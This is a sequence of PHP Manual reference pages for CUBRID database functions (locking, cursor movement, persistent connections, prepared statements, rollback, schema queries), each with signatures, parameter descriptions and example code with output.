  • cubrid_lob2_tell() - Tell the cursor position of the LOB object.
  • cubrid_lob2_tell64() - Tell the cursor position of the LOB object.
  • cubrid_lob2_size() - Get a lob object's size.
  • cubrid_lob2_size64() - Get a lob object's size.

User Contributed Notes

There are no user contributed notes for this page.


Set a read lock on the given OID

  • « cubrid_lob2_write
  • cubrid_lock_write »
  • PHP Manual
  • CUBRID Functions
  • Set a read lock on the given OID

cubrid_lock_read

(PECL CUBRID >= 8.3.0)

cubrid_lock_read — Set a read lock on the given OID

Description

bool cubrid_lock_read ( resource $conn_identifier , string $oid )

The cubrid_lock_read() function is used to put read lock on the instance pointed by given oid.

Parameters

conn_identifier

Connection identifier.

oid

OID of the instance that you want to put read lock on.

Return Values

TRUE, when process is successful.

FALSE, when process is unsuccessful.

Examples

Example #1 cubrid_lock_read() example

<?php
$conn = cubrid_connect("localhost", 33000, "demodb", "dba");

@cubrid_execute($conn, "DROP TABLE foo");
cubrid_execute($conn, "CREATE TABLE foo(a int AUTO_INCREMENT, b set(int), c list(int), d char(10))");
cubrid_execute($conn, "INSERT INTO foo(a, b, c, d) VALUES(1, {1,2,3}, {11,22,33,333}, 'a')");
cubrid_execute($conn, "INSERT INTO foo(a, b, c, d) VALUES(2, {4,5,7}, {44,55,66,666}, 'b')");

$req = cubrid_execute($conn, "SELECT * FROM foo", CUBRID_INCLUDE_OID);

cubrid_move_cursor($req, 1, CUBRID_CURSOR_FIRST);
$oid = cubrid_current_oid($req);

cubrid_lock_read($conn, $oid);

$attr = cubrid_get($conn, $oid, "b");
var_dump($attr);

$attr = cubrid_get($conn, $oid);
var_dump($attr);

cubrid_close_request($req);
cubrid_disconnect($conn);
?>

The above example will output:

string(9) "{1, 2, 3}"
array(4) {
  ["a"]=>
  string(1) "1"
  ["b"]=>
  array(3) {
    [0]=>
    string(1) "1"
    [1]=>
    string(1) "2"
    [2]=>
    string(1) "3"
  }
  ["c"]=>
  array(4) {
    [0]=>
    string(2) "11"
    [1]=>
    string(2) "22"
    [2]=>
    string(2) "33"
    [3]=>
    string(3) "333"
  }
  ["d"]=>
  string(10) "a         "
}

See Also

  • cubrid_lock_write() - Set a write lock on the given OID

User Contributed Notes

There are no user contributed notes for this page.


Set a write lock on the given OID

  • « cubrid_lock_read
  • cubrid_move_cursor »
  • PHP Manual
  • CUBRID Functions
  • Set a write lock on the given OID

cubrid_lock_write

(PECL CUBRID >= 8.3.0)

cubrid_lock_write — Set a write lock on the given OID

Description

bool cubrid_lock_write ( resource $conn_identifier , string $oid )

The cubrid_lock_write() function is used to put write lock on the instance pointed by the given oid.

Parameters

conn_identifier

Connection identifier.

oid

OID of the instance that you want to put write lock on.

Return Values

TRUE, when process is successful.

FALSE, when process is unsuccessful.

Examples

Example #1 cubrid_lock_write() example

<?php
$conn = cubrid_connect("localhost", 33000, "demodb", "dba");

@cubrid_execute($conn, "DROP TABLE foo");
cubrid_execute($conn, "CREATE TABLE foo(a int AUTO_INCREMENT, b set(int), c list(int), d char(10))");
cubrid_execute($conn, "INSERT INTO foo(a, b, c, d) VALUES(1, {1,2,3}, {11,22,33,333}, 'a')");
cubrid_execute($conn, "INSERT INTO foo(a, b, c, d) VALUES(2, {4,5,7}, {44,55,66,666}, 'b')");

$req = cubrid_execute($conn, "SELECT * FROM foo", CUBRID_INCLUDE_OID);

cubrid_move_cursor($req, 1, CUBRID_CURSOR_FIRST);
$oid = cubrid_current_oid($req);

cubrid_lock_write($conn, $oid);

$attr = cubrid_col_get($conn, $oid, "b");
var_dump($attr);

cubrid_put($conn, $oid, "b", array(2, 4, 8));

$attr = cubrid_col_get($conn, $oid, "b");
var_dump($attr);

cubrid_close_request($req);
cubrid_disconnect($conn);
?>

The above example will output:

array(3) {
  [0]=>
  string(1) "1"
  [1]=>
  string(1) "2"
  [2]=>
  string(1) "3"
}
array(3) {
  [0]=>
  string(1) "2"
  [1]=>
  string(1) "4"
  [2]=>
  string(1) "8"
}

See Also

  • cubrid_lock_read() - Set a read lock on the given OID

User Contributed Notes

There are no user contributed notes for this page.


Move the cursor in the result

  • « cubrid_lock_write
  • cubrid_next_result »
  • PHP Manual
  • CUBRID Functions
  • Move the cursor in the result

cubrid_move_cursor

(PECL CUBRID >= 8.3.0)

cubrid_move_cursor — Move the cursor in the result

Description

int cubrid_move_cursor ( resource $req_identifier , int $offset [, int $origin = CUBRID_CURSOR_CURRENT ] )

The cubrid_move_cursor() function is used to move the current cursor location of req_identifier by the value set in the offset argument, to the direction set in the origin argument. To set the origin argument, you can use CUBRID_CURSOR_FIRST for the first part of the result, CUBRID_CURSOR_CURRENT for the current location of the result, or CUBRID_CURSOR_LAST for the last part of the result. If origin argument is not explicitly designated, then the function uses CUBRID_CURSOR_CURRENT as its default value.

If the value of cursor movement range goes over the valid limit, then the cursor moves to the next location after the valid range for the cursor. For example, if you move 20 units in the result with the size of 10, then the cursor will move to 11th place and return CUBRID_NO_MORE_DATA.

Parameters

req_identifier

Request identifier.

offset

Number of units you want to move the cursor.

origin

Location where you want to move the cursor from CUBRID_CURSOR_FIRST, CUBRID_CURSOR_CURRENT, CUBRID_CURSOR_LAST.

Return Values

TRUE, when process is successful.

FALSE, when process is unsucceful.

Examples

Example #1 cubrid_move_cursor() example

<?php
$conn = cubrid_connect("127.0.0.1", 33000, "demodb", "dba");

$req = cubrid_execute($conn, "SELECT * FROM code");
cubrid_move_cursor($req, 1, CUBRID_CURSOR_LAST);

$result = cubrid_fetch_row($req);
var_dump($result);

cubrid_move_cursor($req, 1, CUBRID_CURSOR_FIRST);
$result = cubrid_fetch_row($req);
var_dump($result);

cubrid_move_cursor($req, 1, CUBRID_CURSOR_CURRENT);
$result = cubrid_fetch_row($req);
var_dump($result);

cubrid_close_request($req);
cubrid_disconnect($conn);
?>

The above example will output:

array(2) {
  [0]=>
  string(1) "G"
  [1]=>
  string(4) "Gold"
}
array(2) {
  [0]=>
  string(1) "X"
  [1]=>
  string(5) "Mixed"
}
array(2) {
  [0]=>
  string(1) "M"
  [1]=>
  string(3) "Man"
}

See Also

  • cubrid_execute() - Execute a prepared SQL statement

User Contributed Notes

There are no user contributed notes for this page.


Get result of next query when executing multiple SQL statements

  • « cubrid_move_cursor
  • cubrid_num_cols »
  • PHP Manual
  • CUBRID Functions
  • Get result of next query when executing multiple SQL statements

cubrid_next_result

(PECL CUBRID >= 8.4.0)

cubrid_next_result — Get result of next query when executing multiple SQL statements

Description

bool cubrid_next_result ( resource $result )

The cubrid_next_result() function is used to get results of next query if multiple SQL statements are executed and CUBRID_EXEC_QUERY_ALL flag is set upon cubrid_execute().

Parameters

result

result comes from a call to cubrid_execute()

Return Values

TRUE, when process is successful.

FALSE, when process is unsuccessful.

Examples

Example #1 cubrid_next_result() example

<?php
$conn = cubrid_connect("127.0.0.1", 33000, "demodb", "dba");

$sql_stmt = "SELECT * FROM code; SELECT * FROM history WHERE host_year=2004 AND event_code=20281";
$res = cubrid_execute($conn, $sql_stmt, CUBRID_EXEC_QUERY_ALL);

get_result_info($res);
cubrid_next_result($res);
get_result_info($res);

function get_result_info($req)
{
    printf("\n------------ get_result_info --------------------\n");

    $row_num = cubrid_num_rows($req);
    $col_num = cubrid_num_cols($req);

    $column_name_list = cubrid_column_names($req);
    $column_type_list = cubrid_column_types($req);

    $column_last_name = cubrid_field_name($req, $col_num - 1);
    $column_last_table = cubrid_field_table($req, $col_num - 1);

    $column_last_type = cubrid_field_type($req, $col_num - 1);
    $column_last_len = cubrid_field_len($req, $col_num - 1);

    $column_1_flags = cubrid_field_flags($req, 1);

    printf("%-30s %d\n", "Row count:", $row_num);
    printf("%-30s %d\n", "Column count:", $col_num);
    printf("\n");

    printf("%-30s %-30s %-15s\n", "Column Names", "Column Types", "Column Len");
    printf("------------------------------------------------------------------------------\n");

    $size = count($column_name_list);
    for($i = 0; $i < $size; $i++) {
        $column_len = cubrid_field_len($req, $i);
        printf("%-30s %-30s %-15s\n", $column_name_list[$i], $column_type_list[$i], $column_len);
    }
    printf("\n\n");

    printf("%-30s %s\n", "Last Column Name:", $column_last_name);
    printf("%-30s %s\n", "Last Column Table:", $column_last_table);
    printf("%-30s %s\n", "Last Column Type:", $column_last_type);
    printf("%-30s %d\n", "Last Column Len:", $column_last_len);
    printf("%-30s %s\n", "Second Column Flags:", $column_1_flags);

    printf("\n\n");
}
?>

The above example will output:

------------ get_result_info --------------------
Row count:                     6
Column count:                  2

Column Names                   Column Types                   Column Len
------------------------------------------------------------------------------
s_name                         char                           1
f_name                         varchar                        6

Last Column Name:              f_name
Last Column Table:             code
Last Column Type:              varchar
Last Column Len:               6
Second Column Flags:

------------ get_result_info --------------------
Row count:                     4
Column count:                  5

Column Names                   Column Types                   Column Len
------------------------------------------------------------------------------
event_code                     integer                        11
athlete                        varchar                        40
host_year                      integer                        11
score                          varchar                        10
unit                           varchar                        5

Last Column Name:              unit
Last Column Table:             history
Last Column Type:              varchar
Last Column Len:               5
Second Column Flags:           not_null primary_key unique_key

See Also

  • cubrid_execute() - Execute a prepared SQL statement

User Contributed Notes

There are no user contributed notes for this page.


Return the number of columns in the result set

  • « cubrid_next_result
  • cubrid_num_rows »
  • PHP Manual
  • CUBRID Functions
  • Return the number of columns in the result set

cubrid_num_cols

(PECL CUBRID >= 8.3.0)

cubrid_num_cols — Return the number of columns in the result set

Description

int cubrid_num_cols ( resource $result )

The cubrid_num_cols() function is used to get the number of columns from the query result. It can only be used when the query executed is a select statement.

Parameters

result

Result.

Return Values

Number of columns, when process is successful.

FALSE, if SQL statement is not SELECT.

Examples

Example #1 cubrid_num_cols() example

<?php
$conn = cubrid_connect("localhost", 33000, "demodb", "dba");

$req = cubrid_execute($conn, "SELECT * FROM code");

$row_num = cubrid_num_rows($req);
$col_num = cubrid_num_cols($req);

printf("Row Num: %d\nColumn Num: %d\n", $row_num, $col_num);

cubrid_disconnect($conn);
?>

The above example will output:

Row Num: 6
Column Num: 2

See Also

  • cubrid_execute() - Execute a prepared SQL statement
  • cubrid_num_rows() - Get the number of rows in the result set

User Contributed Notes

There are no user contributed notes for this page.


Get the number of rows in the result set

  • « cubrid_num_cols
  • cubrid_pconnect_with_url »
  • PHP Manual
  • CUBRID Functions
  • Get the number of rows in the result set

cubrid_num_rows

(PECL CUBRID >= 8.3.0)

cubrid_num_rows — Get the number of rows in the result set

Description

int cubrid_num_rows ( resource $result )

The cubrid_num_rows() function is used to get the number of rows from the query result. You can use it only when the query executed is a select statement. When you want to know such value for INSERT, UPDATE, or DELETE query, you have to use the cubrid_affected_rows() function.

Note: The cubrid_num_rows() function can only be used for synchronous query; it returns 0 when it is used for asynchronous query.

Parameters

result

result comes from a call to cubrid_execute(), cubrid_query() and cubrid_prepare()

Return Values

Number of rows, when process is successful.

0 when the query was done in async mode.

-1, if SQL statement is not SELECT.

FALSE when process is unsuccessful.

Examples

Example #1 cubrid_num_rows() example

<?php
$conn = cubrid_connect("localhost", 33000, "demodb", "dba");

$req = cubrid_execute($conn, "SELECT * FROM code");

$row_num = cubrid_num_rows($req);
$col_num = cubrid_num_cols($req);

printf("Row Num: %d\nColumn Num: %d\n", $row_num, $col_num);

cubrid_disconnect($conn);
?>

The above example will output:

Row Num: 6
Column Num: 2

See Also

  • cubrid_execute() - Execute a prepared SQL statement
  • cubrid_num_cols() - Return the number of columns in the result set
  • cubrid_affected_rows() - Return the number of rows affected by the last SQL statement

User Contributed Notes

There are no user contributed notes for this page.


Open a persistent connection to CUBRID server

  • « cubrid_num_rows
  • cubrid_pconnect »
  • PHP Manual
  • CUBRID Functions
  • Open a persistent connection to CUBRID server

cubrid_pconnect_with_url

(PECL CUBRID >= 8.3.1)

cubrid_pconnect_with_url — Open a persistent connection to CUBRID server

Description

resource cubrid_pconnect_with_url ( string $conn_url [, string $userid [, string $passwd ]] )

Establishes a persistent connection to a CUBRID server.

cubrid_pconnect_with_url() acts very much like cubrid_connect_with_url() with two major differences.

First, when connecting, the function would first try to find a (persistent) link that's already open with the same host, port, dbname and userid. If one is found, an identifier for it will be returned instead of opening a new connection.

Second, the connection to the SQL server will not be closed when the execution of the script ends. Instead, the link will remain open for future use (cubrid_close() or cubrid_disconnect() will not close links established by cubrid_pconnect_with_url()).

This type of link is therefore called 'persistent'.

<url> ::= CUBRID:<host>:<db_name>:<db_user>:<db_password>:[?<properties>]

<properties> ::= <property> [&<property>]

<properties> ::= alhosts=<alternative_hosts>[ &rctime=<time>]

<properties> ::= login_timeout=<milli_sec>

<properties> ::= query_timeout=<milli_sec>

<properties> ::= disconnect_on_query_timeout=true|false

<alternative_hosts> ::= <standby_broker1_host>:<port> [,<standby_broker2_host>:<port>]

<host> := HOSTNAME | IP_ADDR

<time> := SECOND

<milli_sec> := MILLI SECOND

  • host : A host name or IP address of the master database
  • db_name : A name of the database
  • db_user : A name of the database user
  • db_password : A database user password
  • alhosts : Specifies the broker information of the standby server, which is used for failover when it is impossible to connect to the active server. You can specify multiple brokers for failover, and the connection to the brokers is attempted in the order listed in alhosts
  • rctime : An interval between the attempts to connect to the active broker in which failure occurred. After a failure occurs, the system connects to the broker specified by althosts (failover), terminates the transaction, and then attempts to connect to the active broker of the master database at every rctime. The default value is 600 seconds.
  • login_timeout : Timeout value (unit: msec.) for database login. The default value is 0, which means infinite postponement.
  • query_timeout : Timeout value (unit: msec.) for query request. Upon timeout, a message to cancel requesting a query transferred to server is sent. The return value can depend on the disconnect_on_query_timeout configuration; even though the message to cancel a request is sent to server, that request may succeed.
  • disconnect_on_query_timeout : Configures a value whether to immediately return an error of function being executed upon timeout. The default value is false.

Note:

? and : that are used as identifiers in PHP connection URL can't be included in the password. The following is an example of a password that is invalid to use as connection URL because it contains "?:".

$url = "CUBRID:localhost:33000:tdb:dba:12?:?login_timeout=100";

Passwords that contain ? or : may be passed as a separate parameter.

$url = "CUBRID:localhost:33000:tbd:::?login_timeout=100";

$conn = cubrid_pconnect_with_url ($url, "dba", "12?");

If user or password is empty,you can't delete ":",the following is an example.

$url = "CUBRID:localhost:33000:demodb:::";

Parameters

conn_url

A character string that contains server connection information.

userid

User name for the database.

passwd

User password.

Return Values

Connection identifier, when process is successful.

FALSE, when process is unsuccessful.

Examples

Example #1 cubrid_pconnect_with_url() url without properties example

<?php
$conn_url = "CUBRID:127.0.0.1:33000:demodb:dba::"
$con = cubrid_pconnect_with_url ($conn_url);

if ($con) {
   echo "connected successfully";
   cubrid_execute($con, "create table person(id int,name char(16))");
   $req =cubrid_execute($con, "insert into person values(1,'James')");

   if ($req) {
      cubrid_close_request ($req);
      cubrid_commit ($con);
   } else {
      cubrid_rollback ($con);
   }
   cubrid_disconnect ($con);
}
?>

Example #2 cubrid_pconnect_with_url() url with properties example

<?php
$conn_url = "CUBRID:127.0.0.1:33000:demodb:dba::?althost=10.34.63.132:33088&rctime=100"
$con = cubrid_pconnect_with_url ($conn_url);

if ($con) {
   echo "connected successfully";
   $req =cubrid_execute($con, "insert into person values(1,'James')");

   if ($req) {
      cubrid_close_request ($req);
      cubrid_commit ($con);
   } else {
      cubrid_rollback ($con);
   }
   cubrid_disconnect ($con);
}
?>

See Also

  • cubrid_connect() - Open a connection to a CUBRID Server
  • cubrid_pconnect() - Open a persistent connection to a CUBRID server
  • cubrid_pconnect_with_url()
  • cubrid_disconnect() - Close a database connection
  • cubrid_close() - Close CUBRID connection

User Contributed Notes

There are no user contributed notes for this page.


Open a persistent connection to a CUBRID server

  • « cubrid_pconnect_with_url
  • cubrid_prepare »
  • PHP Manual
  • CUBRID Functions
  • Open a persistent connection to a CUBRID server

cubrid_pconnect

(PECL CUBRID >= 8.3.1)

cubrid_pconnect — Open a persistent connection to a CUBRID server

Description

resource cubrid_pconnect ( string $host , int $port , string $dbname [, string $userid [, string $passwd ]] )

Establishes a persistent connection to a CUBRID server.

cubrid_pconnect() acts very much like cubrid_connect() with two major differences.

First, when connecting, the function would first try to find a (persistent) link that's already open with the same host, port, dbname and userid. If one is found, an identifier for it will be returned instead of opening a new connection.

Second, the connection to the SQL server will not be closed when the execution of the script ends. Instead, the link will remain open for future use (cubrid_close() or cubrid_disconnect() will not close links established by cubrid_pconnect()).

This type of link is therefore called 'persistent'.

Parameters

host

Host name or IP address of CUBRID CAS server.

port

Port number of CUBRID CAS server (BROKER_PORT configured in $CUBRID/conf/cubrid_broker.conf).

dbname

Name of database.

userid

User name for the database.

passwd

User password.

Return Values

Connection identifier, when process is successful.

FALSE, when process is unsuccessful.

Examples

Example #1 cubrid_connect() example

<?php
printf("%-30s %s\n", "CUBRID PHP Version:", cubrid_version());

printf("\n");

$conn = cubrid_pconnect("localhost", 33000, "demodb", "dba");

if (!$conn) {
    die('Connect Error ('. cubrid_error_code() .')' . cubrid_error_msg());
}

$db_params = cubrid_get_db_parameter($conn);

while (list($param_name, $param_value) = each($db_params)) {
    printf("%-30s %s\n", $param_name, $param_value);
}

printf("\n");

$server_info = cubrid_get_server_info($conn);
$client_info = cubrid_get_client_info();

printf("%-30s %s\n", "Server Info:", $server_info);
printf("%-30s %s\n", "Client Info:", $client_info);

printf("\n");

$charset = cubrid_get_charset($conn);

printf("%-30s %s\n", "CUBRID Charset:", $charset);

cubrid_disconnect($conn);
?>

The above example will output:

CUBRID PHP Version:            9.1.0.0001

PARAM_ISOLATION_LEVEL          3
LOCK_TIMEOUT                   -1
MAX_STRING_LENGTH              1073741823
PARAM_AUTO_COMMIT              1

Server Info:                   9.1.0.0212
Client Info:                   9.1.0

CUBRID Charset:                iso8859-1

See Also

  • cubrid_connect() - Open a connection to a CUBRID Server
  • cubrid_connect_with_url() - Establish the environment for connecting to CUBRID server
  • cubrid_pconnect_with_url() - Open a persistent connection to CUBRID server
  • cubrid_disconnect() - Close a database connection
  • cubrid_close() - Close CUBRID connection

User Contributed Notes

There are no user contributed notes for this page.


Prepare a SQL statement for execution

  • « cubrid_pconnect
  • cubrid_put »
  • PHP Manual
  • CUBRID Functions
  • Prepare a SQL statement for execution

cubrid_prepare

(PECL CUBRID >= 8.3.0)

cubrid_prepare — Prepare a SQL statement for execution

Description

resource cubrid_prepare ( resource $conn_identifier , string $prepare_stmt [, int $option = 0 ] )

The cubrid_prepare() function is a sort of API which represents SQL statements compiled previously to a given connection handle. This pre-compiled SQL statement will be included in the cubrid_prepare().

Accordingly, you can use this statement effectively to execute several times repeatedly or to process long data. Only a single statement can be used and a parameter may put a question mark (?) to appropriate area in the SQL statement. Add a parameter when you bind a value in the VALUES clause of INSERT statement or in the WHERE clause. Note that it is allowed to bind a value to a MARK(?) by using the cubrid_bind() function only.

Parameters

conn_identifier

Connection identifier.

prepare_stmt

Prepare query.

option

OID return option CUBRID_INCLUDE_OID.

Return Values

Request identifier, if process is successful;

FALSE, if process is unsuccessful.

Examples

Example #1 cubrid_prepare() example

<?php
$conn = cubrid_connect("localhost", 33000, "demodb");

$sql = <<<EOD
SELECT g.event_code, e.name
FROM game g
JOIN event e ON g.event_code=e.code
WHERE host_year = ? AND event_code NOT IN (SELECT event_code FROM game WHERE host_year=?) GROUP BY event_code;
EOD;

$req = cubrid_prepare($conn, $sql);

cubrid_bind($req, 1, 2004);
cubrid_bind($req, 2, 2000);
cubrid_execute($req);

$row_num = cubrid_num_rows($req);
printf("There are %d event that exits in 2004 olympic but not in 2000. For example:\n\n", $row_num);

printf("%-15s %s\n", "Event_code", "Event_name");
printf("----------------------------\n");

$row = cubrid_fetch_assoc($req);
printf("%-15d %s\n", $row["event_code"], $row["name"]);
$row = cubrid_fetch_assoc($req);
printf("%-15d %s\n", $row["event_code"], $row["name"]);

cubrid_disconnect($conn);
?>

The above example will output:

There are 27 event that exits in 2004 olympic but not in 2000. For example:

Event_code      Event_name
----------------------------
20063           +91kg
20070           64kg

See Also

  • cubrid_execute() - Execute a prepared SQL statement
  • cubrid_bind() - Bind variables to a prepared statement as parameters

User Contributed Notes

There are no user contributed notes for this page.


Update a column using OID

  • « cubrid_prepare
  • cubrid_rollback »
  • PHP Manual
  • CUBRID Functions
  • Update a column using OID

cubrid_put

(PECL CUBRID >= 8.3.0)

cubrid_put — Update a column using OID

Description

int cubrid_put ( resource $conn_identifier , string $oid [, string $attr ], mixed $value )

The cubrid_put() function is used to update an attribute of the instance of the given oid.

You can update single attribute by using string data type to set attr. In such case, you can use integer, floating point or string type data for the value argument. To update multiple number of attributes, you can disregard the attr argument, and set value argument with associative array data type.

Parameters

conn_identifier

Connection identifier.

oid

OID of the instance that you want to update.

attr

Name of the attribute that you want to update.

value

New value that you want to assign to the attribute.

Return Values

TRUE, when process is successful.

FALSE, when process is unsuccessful.

Examples

Example #1 cubrid_put() example

<?php
$conn = cubrid_connect("localhost", 33000, "demodb", "dba");

@cubrid_execute($conn, "DROP TABLE foo");
cubrid_execute($conn, "CREATE TABLE foo(a int AUTO_INCREMENT, b set(int), c list(int), d char(10))");
cubrid_execute($conn, "INSERT INTO foo(a, b, c, d) VALUES(1, {1,2,3}, {11,22,33,333}, 'a')");
cubrid_execute($conn, "INSERT INTO foo(a, b, c, d) VALUES(2, {4,5,7}, {44,55,66,666}, 'b')");

$req = cubrid_execute($conn, "SELECT * FROM foo", CUBRID_INCLUDE_OID);

cubrid_move_cursor($req, 1, CUBRID_CURSOR_FIRST);
$oid = cubrid_current_oid($req);

$attr = cubrid_col_get($conn, $oid, "b");
var_dump($attr);

cubrid_put($conn, $oid, "b", array(2, 4, 8));

$attr = cubrid_col_get($conn, $oid, "b");
var_dump($attr);

cubrid_close_request($req);
cubrid_disconnect($conn);
?>

The above example will output:

array(3) {
  [0]=>
  string(1) "1"
  [1]=>
  string(1) "2"
  [2]=>
  string(1) "3"
}
array(3) {
  [0]=>
  string(1) "2"
  [1]=>
  string(1) "4"
  [2]=>
  string(1) "8"
}

See Also

  • cubrid_get() - Get a column using OID
  • cubrid_set_add() - Insert a single element to set type column using OID
  • cubrid_set_drop() - Delete an element from set type column using OID
  • cubrid_seq_insert() - Insert an element to a sequence type column using OID
  • cubrid_seq_drop() - Delete an element from sequence type column using OID
  • cubrid_seq_put() - Update the element value of sequence type column using OID

User Contributed Notes

There are no user contributed notes for this page.


Roll back a transaction

  • « cubrid_put
  • cubrid_schema »
  • PHP Manual
  • CUBRID Functions
  • Roll back a transaction

cubrid_rollback

(PECL CUBRID >= 8.3.0)

cubrid_rollback — Roll back a transaction

Description

bool cubrid_rollback ( resource $conn_identifier )

The cubrid_rollback() function executes rollback on the transaction pointed by conn_identifier, currently in progress.

Connection to server is closed after calling cubrid_rollback(). Connection handle, however, is still valid.

Parameters

conn_identifier

Connection identifier.

Return Values

TRUE, when process is successful.

FALSE, when process is unsuccessful.

Examples

Example #1 cubrid_rollback() example

<?php
$conn = cubrid_connect("127.0.0.1", 33000, "demodb", "dba");
cubrid_set_autocommit($conn,false);

@cubrid_execute($conn, "DROP TABLE publishers");

$sql = <<<EOD
CREATE TABLE publishers(
pub_id CHAR(3),
pub_name VARCHAR(20),
city VARCHAR(15),
state CHAR(2),
country VARCHAR(15)
)
EOD;

if (!cubrid_execute($conn, $sql)) {
    printf("Error facility: %d\nError code: %d\nError msg: %s\n", cubrid_error_code_facility(), cubrid_error_code(), cubrid_error_msg());

    cubrid_disconnect($conn);
    exit;
}

$req = cubrid_prepare($conn, "INSERT INTO publishers VALUES(?, ?, ?, ?, ?)");

$id_list = array("P01", "P02", "P03", "P04");
$name_list = array("Abatis Publishers", "Core Dump Books", "Schadenfreude Press", "Tenterhooks Press");
$city_list = array("New York", "San Francisco", "Hamburg", "Berkeley");
$state_list = array("NY", "CA", NULL, "CA");
$country_list = array("USA", "USA", "Germany", "USA");

for ($i = 0, $size = count($id_list); $i < $size; $i++) {
    cubrid_bind($req, 1, $id_list[$i]);
    cubrid_bind($req, 2, $name_list[$i]);
    cubrid_bind($req, 3, $city_list[$i]);
    cubrid_bind($req, 4, $state_list[$i]);
    cubrid_bind($req, 5, $country_list[$i]);

    if (!($ret = cubrid_execute($req))) {
        break;
    }
}

if (!$ret) {
    cubrid_rollback($conn);
} else {
    cubrid_commit($conn);

    $req = cubrid_execute($conn, "SELECT * FROM publishers");
    while ($result = cubrid_fetch_assoc($req)) {
        printf("%-3s %-20s %-15s %-3s %-15s\n",
            $result["pub_id"], $result["pub_name"], $result["city"], $result["state"], $result["country"]);
    }
}

cubrid_disconnect($conn);
?>

The above example will output:

P01 Abatis Publishers    New York        NY  USA
P02 Core Dump Books      San Francisco   CA  USA
P03 Schadenfreude Press  Hamburg             Germany
P04 Tenterhooks Press    Berkeley        CA  USA

See Also

  • cubrid_commit() - Commit a transaction
  • cubrid_disconnect() - Close a database connection

User Contributed Notes

There are no user contributed notes for this page.


Get the requested schema information

  • « cubrid_rollback
  • cubrid_seq_drop »
  • PHP Manual
  • CUBRID Functions
  • Get the requested schema information

cubrid_schema

(PECL CUBRID >= 8.3.0)

cubrid_schema — Get the requested schema information

Description

array cubrid_schema ( resource $conn_identifier , int $schema_type [, string $class_name [, string $attr_name ]] )

The cubrid_schema() function is used to get the requested schema information from database. You have to designate class_name, if you want to get information on certain class, attr_name, if you want to get information on certain attribute (can be used only with CUBRID_ SCH_ATTR_PRIVILEGE).

The result of the cubrid_schema function is returned as a two-dimensional array (column (associative array) * row (numeric array)). The following tables shows types of schema and the column structure of the result array to be returned based on the schema type.

Result Composition of Each Type
Schema | Column Number | Column Name | Value
CUBRID_SCH_CLASS | 1 | NAME |
 | 2 | TYPE | 0:system class 1:vclass 2:class
CUBRID_SCH_VCLASS | 1 | NAME |
 | 2 | TYPE | 1:vclass
CUBRID_SCH_QUERY_SPEC | 1 | QUERY_SPEC |
CUBRID_SCH_ATTRIBUTE / CUBRID_SCH_CLASS_ATTRIBUTE | 1 | ATTR_NAME |
 | 2 | DOMAIN |
 | 3 | SCALE |
 | 4 | PRECISION |
 | 5 | INDEXED | 1:indexed
 | 6 | NOT NULL | 1:not null
 | 7 | SHARED | 1:shared
 | 8 | UNIQUE | 1:unique
 | 9 | DEFAULT |
 | 10 | ATTR_ORDER | base:1
 | 11 | CLASS_NAME |
 | 12 | SOURCE_CLASS |
 | 13 | IS_KEY | 1:key
CUBRID_SCH_METHOD / CUBRID_SCH_CLASS_METHOD | 1 | NAME |
 | 2 | RET_DOMAIN |
 | 3 | ARG_DOMAIN |
CUBRID_SCH_METHOD_FILE | 1 | METHOD_FILE |
CUBRID_SCH_SUPERCLASS / CUBRID_SCH_DIRECT_SUPER_CLASS / CUBRID_SCH_SUBCLASS | 1 | CLASS_NAME |
 | 2 | TYPE | 0:system class 1:vclass 2:class
CUBRID_SCH_CONSTRAINT | 1 | TYPE | 0:unique 1:index 2:reverse unique 3:reverse index
 | 2 | NAME |
 | 3 | ATTR_NAME |
 | 4 | NUM_PAGES |
 | 5 | NUM_KEYS |
 | 6 | PRIMARY_KEY | 1:primary key
 | 7 | KEY_ORDER | base:1
CUBRID_SCH_TRIGGER | 1 | NAME |
 | 2 | STATUS |
 | 3 | EVENT |
 | 4 | TARGET_CLASS |
 | 5 | TARGET_ATTR |
 | 6 | ACTION_TIME |
 | 7 | ACTION |
 | 8 | PRIORITY |
 | 9 | CONDITION_TIME |
 | 10 | CONDITION |
CUBRID_SCH_CLASS_PRIVILEGE / CUBRID_SCH_ATTR_PRIVILEGE | 1 | CLASS_NAME / ATTR_NAME |
 | 2 | PRIVILEGE |
 | 3 | GRANTABLE |
CUBRID_SCH_PRIMARY_KEY | 1 | CLASS_NAME |
 | 2 | ATTR_NAME |
 | 3 | KEY_SEQ | base:1
 | 4 | KEY_NAME |
CUBRID_SCH_IMPORTED_KEYS / CUBRID_SCH_EXPORTED_KEYS / CUBRID_SCH_CROSS_REFERENCE | 1 | PKTABLE_NAME |
 | 2 | PKCOLUMN_NAME |
 | 3 | FKTABLE_NAME | base:1
 | 4 | FKCOLUMN_NAME |
 | 5 | KEY_SEQ | base:1
 | 6 | UPDATE_ACTION | 0:cascade 1:restrict 2:no action 3:set null
 | 7 | DELETE_ACTION | 0:cascade 1:restrict 2:no action 3:set null
 | 8 | FK_NAME |
 | 9 | PK_NAME |

Parameters

conn_identifier

Connection identifier.

schema_type

Schema data that you want to know.

class_name

Class you want to know the schema of.

attr_name

Attribute you want to know the schema of.

Return Values

Array containing the schema information, when process is successful;

FALSE, when process is unsuccessful

Changelog

Version | Description
8.3.1 | Change return value: when process is unsuccessful, return false, not -1.

Examples

Example #1 cubrid_schema() example

<?php
$conn = cubrid_connect("localhost", 33000, "demodb", "dba");

printf("\n--- Primary Key ---\n");
$pk = cubrid_schema($conn, CUBRID_SCH_PRIMARY_KEY, "game");
var_dump($pk);

printf("\n--- Foreign Keys ---\n");
$fk = cubrid_schema($conn, CUBRID_SCH_IMPORTED_KEYS, "game");
var_dump($fk);

printf("\n--- Column Attribute ---\n");
$attr = cubrid_schema($conn, CUBRID_SCH_ATTRIBUTE, "stadium", "area");
var_dump($attr);

cubrid_disconnect($conn);
?>

The above example will output:

--- Primary Key ---
array(3) {
  [0]=>
  array(4) {
    ["CLASS_NAME"]=>
    string(4) "game"
    ["ATTR_NAME"]=>
    string(12) "athlete_code"
    ["KEY_SEQ"]=>
    string(1) "3"
    ["KEY_NAME"]=>
    string(41) "pk_game_host_year_event_code_athlete_code"
  }
  [1]=>
  array(4) {
    ["CLASS_NAME"]=>
    string(4) "game"
    ["ATTR_NAME"]=>
    string(10) "event_code"
    ["KEY_SEQ"]=>
    string(1) "2"
    ["KEY_NAME"]=>
    string(41) "pk_game_host_year_event_code_athlete_code"
  }
  [2]=>
  array(4) {
    ["CLASS_NAME"]=>
    string(4) "game"
    ["ATTR_NAME"]=>
    string(9) "host_year"
    ["KEY_SEQ"]=>
    string(1) "1"
    ["KEY_NAME"]=>
    string(41) "pk_game_host_year_event_code_athlete_code"
  }
}

